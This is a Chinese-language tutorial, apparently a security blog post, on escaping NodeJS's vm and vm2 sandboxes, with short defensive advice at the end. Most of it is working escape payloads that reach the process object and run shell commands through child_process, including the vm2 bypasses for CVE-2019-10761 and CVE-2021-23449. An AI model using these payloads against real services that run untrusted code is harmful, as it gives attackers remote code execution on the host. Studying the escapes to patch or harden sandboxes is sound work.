NodeJS VM和VM2沙箱逃逸
字数 1255 2025-08-26 22:11:51
NodeJS VM和VM2沙箱逃逸技术详解
0x01 沙箱逃逸基础概念
JavaScript与NodeJS区别
- JavaScript:运行在浏览器前端
- NodeJS:将Chrome的V8引擎单独拿出来作为JavaScript的运行环境,使JavaScript可作为后端语言使用
沙箱(Sandbox)定义
- 隔离运行可能产生危害的程序
- 与主机相互隔离但使用主机硬件资源
- 工作机制:通过重定向将恶意代码执行目标重定向到沙箱内部
沙箱、虚拟机和容器区别
| 技术 | 目的 | 特点 |
|---|---|---|
| Sandbox | 隔离有害程序 | 使用虚拟化技术 |
| VM | 一台电脑运行多个操作系统 | 完整系统虚拟化 |
| Docker | 程序隔离 | 创建有边界的运行环境 |
0x02 Node中将字符串执行为代码
方法一:eval
const fs = require('fs');
let content = fs.readFileSync('age.txt', 'utf-8');
eval(content);
console.log(age); // 执行字符串定义的变量
缺点:容易与当前作用域同名变量冲突
方法二:new Function
const func = new Function('a', 'b', 'return a + b');
console.log(func(1, 2)); // 3
特点:创建独立作用域,但参数传递麻烦
0x03 NodeJS作用域机制
Node作用域特点
- 每个文件(包)有独立上下文
- 包间作用域隔离,需通过
exports导出
// y1.js
var age = 20;
exports.age = age;
// y2.js
const a = require("./y1");
console.log(a.age); // 20
全局对象
- 浏览器:
window - NodeJS:
global - 全局变量挂载在
global下,可直接访问
// y1.js
global.age = 20;
// y2.js
require("./y1");
console.log(age); // 20
0x04 VM模块沙箱逃逸
VM模块常用API
vm.runInThisContext(code):在global下创建作用域vm.createContext([sandbox]):创建沙箱上下文vm.runInContext(code, contextifiedSandbox):在指定上下文中执行vm.runInNewContext(code[, sandbox]):createContext+runInContext组合vm.Script类:预编译脚本
逃逸原理
目标:获取global上的process对象实现RCE
基本逃逸方法
const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(y1); // 获取process对象
RCE实现
y1.mainModule.require('child_process').execSync('whoami').toString()
替代方案
const y1 = vm.runInNewContext(`this.toString.constructor('return process')()`);
特殊场景逃逸
1. this为null的情况
const vm = require("vm");
const script = `(function(){
const a = {}
a.toString = function() {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res); // 触发toString
2. 使用Proxy劫持
const script = `(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()`;
console.log(res.abc); // 访问任意属性触发
3. 通过异常抛出
const script = `throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
} catch(e) {
console.log("error:" + e) // 捕获异常触发
}
0x05 VM2沙箱机制
VM2改进
- 使用Proxy拦截对
constructor和__proto__的访问 - 对global的Buffer类进行代理
- 拦截
setTimeout等全局函数
基本使用
const {VM, VMScript} = require('vm2');
const script = new VMScript("let a = 2;a;");
console.log((new VM()).run(script)); // 2
0x06 VM2沙箱绕过
CVE-2019-10761 (<=3.6.10)
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {length: 10, utf8Write(){}};
function r(i){
var x = 0;
try{x = r(i);}catch(e){}
if(typeof(x)!=='number') return x;
if(x!==i) return x+1;
try{f.call(ft);}catch(e){return e;}
return null;
}
var i=1;
while(1){
try{i=r(i).constructor.constructor("return process")(); break;}
catch(x){i++;}
}
i.mainModule.require("child_process").execSync("whoami").toString()`;
console.log(new VM().run(untrusted));
原理:通过递归爆栈获取沙箱外异常对象
CVE-2021-23449
let res = import('./foo.js');
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
原理:import()语法结构未经过沙箱处理
其他Trick
Symbol = {
get toStringTag(){
throw f => f.constructor("return process")()
}
};
try {
Buffer.from(new Map());
} catch(f) {
Symbol = {};
f(mainModule.require("child_process").execSync("whoami").toString());
}
原理:劫持Symbol对象的getter抛出异常
防御建议
- 及时更新vm2到最新版本
- 避免执行不可信代码
- 使用多层隔离(Docker+Sandbox)
- 严格限制沙箱内可用对象和API